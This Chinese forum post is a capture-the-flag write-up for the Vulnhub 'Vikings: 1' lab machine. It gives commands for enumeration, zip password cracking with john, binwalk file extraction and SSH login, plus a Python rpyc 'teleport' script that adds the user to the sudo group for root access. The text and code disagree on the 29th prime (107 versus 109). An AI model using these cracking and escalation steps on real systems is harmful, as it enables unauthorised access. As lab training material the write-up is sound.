回答

收藏

Vulnhub 靶机篇:Vikings

HG021B HG021B 37437 人阅读 | 0 人回复 | 2023-12-25

本帖最后由 Happiness 于 2023-12-25 15:52 编辑

0x01 靶机信息

  • > Name:Vikings: 1
  • > 发布日期:2021 年 9 月 4 日
  • > 作者:lucky thandel
  • > 系列:Vikings
  • > 难度:中等
  • > 简介:充满挑战的CTF机器,做看得见的事,不做兔子洞,学习新东西,并确保先枚举然后再破解。Discord- luckythandel#6053 {任意提示}
  • > 下载链接:(https://download.vulnhub.com/vikings/Vikings.ova)
  • > MD5:D5F6A19BBEA617D7C7C46E21C518F698
  • > 网络:DHCP自动分配


0x02 Write-Up
2.1 主机探测
使用Advanced Port Scanner扫描主机和端口
目标机:192.168.181.148,开放了22和80端口

index.png

访问站点

index-1.png

2.2 7kbscan目录遍历
扫描发现images、war.txt路径

index-2.png

war.txt指向/war-is-over目录

index-3.png

目录下是base64编码

index-4.png

  1. curl http://192.168.181.148/site/war-is-over/ | base64 -d > war
复制代码
base64解码输出到文件war
  1. file war
复制代码
查看文件类型
文件类型为zip压缩文件

index-5.png

war有密码保护,里面有个king文件

index-6.png

2.3 zip2john 破解zip密码
  1. zip2john war > war.hash
  2. john --wordlist=/usr/share/wordlists/rockyou.txt war.hash
复制代码
破解密码:ragnarok123

index-7.png

king是一张图片

index-8(1).png

2.4 binwalk分离文件
使用binwalk检查文件并分离,发现15D03F.zip和user文件
  1. binwalk king
复制代码
检查king文件是否有包含其他内容
  1. binwalk -e king -e 分离
复制代码

index-9.png

发现用户名密码
  1. ssh floki@192.168.181.148
复制代码
用户名floki,密码f@m0usboatbuilde7

index-10.png

发现两个文件readme.txt和boat

index-11.png

  1. I am the famous boat builder Floki. We raided Paris this with our all might yet we failed. We don't know where Ragnar is after the war. He is in so grief right now. I want to apologise to him.
  2. Because it was I who was leading all the Vikings. I need to find him. He can be anywhere.
  3. I need to create this `boat` to find Ragnar
  4. 翻译:我是著名的造船师弗洛基。我们竭尽全力袭击了巴黎,但还是失败了。我们不知道战后拉格纳在哪里。他现在非常悲伤。我想向他道歉。
  5. 因为是我领导着所有维京人。我需要找到他。他可以在任何地方。
  6. 我需要创造这艘“船”来找到拉格纳
复制代码
提示我们找用户Ragnar的密码
  1. #Printable chars are your ally.
  2. #num = 29th prime-number.
  3. collatz-conjecture(num)
  4. 翻译:
  5. #可打印的字符是你的盟友。
  6. #num = 第 29 个质数。
  7. Collat​​z 猜想(num)
复制代码
查询到第29个质数为107,编写脚本计算collatz-conjecture(num)
  1. #include <iostream>
  2. void Collatz(int n,int a[])
  3. {
  4.     int num = 0;
  5.     a[num] = n;
  6.     std::cout << a[num];
  7.     while(n>1)
  8.     {
  9.         if (n % 2 == 0)
  10.         {
  11.             n = n / 2;
  12.         }
  13.         else
  14.         {
  15.             n = n * 3 + 1;
  16.         }
  17.         if (n <= 255)
  18.         {
  19.             ++num;
  20.             a[num] = n;
  21.             std::cout << ',' << a[num];
  22.         }
  23.         
  24.     }
  25.    
  26. }

  27. int main()
  28. {
  29.     int a[100];
  30.     Collatz(109,a);
  31. }
复制代码

index-13.png

转换为字符,格式用上文提到的Printable,得到mR)|>^/Gky[gz=\.F#j5P(

index-14.png

2.6 登录Ragnar
  1. su - ragnar
复制代码
提示我们ragnar没有sudo的权限

index-15.png

拿到了user的flag

index-16.png

查看profile文件发现有权限执行rpyc

index-17.png

官网查询该函数可以在另一端执行函数

index-18.png

默认端口18812

index-19.png

  1. netstat -anpt
复制代码

查看所有tcp端口
rpyc程序正在执行

index-20.png

2.7 提权
利用teleport提权
  1. import rpyc
  2. def getshell():
  3.     import os
  4.     os.system("sudo usermod -aG sudo ragnar")

  5. conn=rpyc.classic.connect("localhost")
  6. fn = conn.teleport(getshell)
  7. fn()
复制代码

index-23.png

重新登录,已经被添加进sudo组

index-21.png

获得root flag

index-22.png


分享到:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

180 积分
24 主题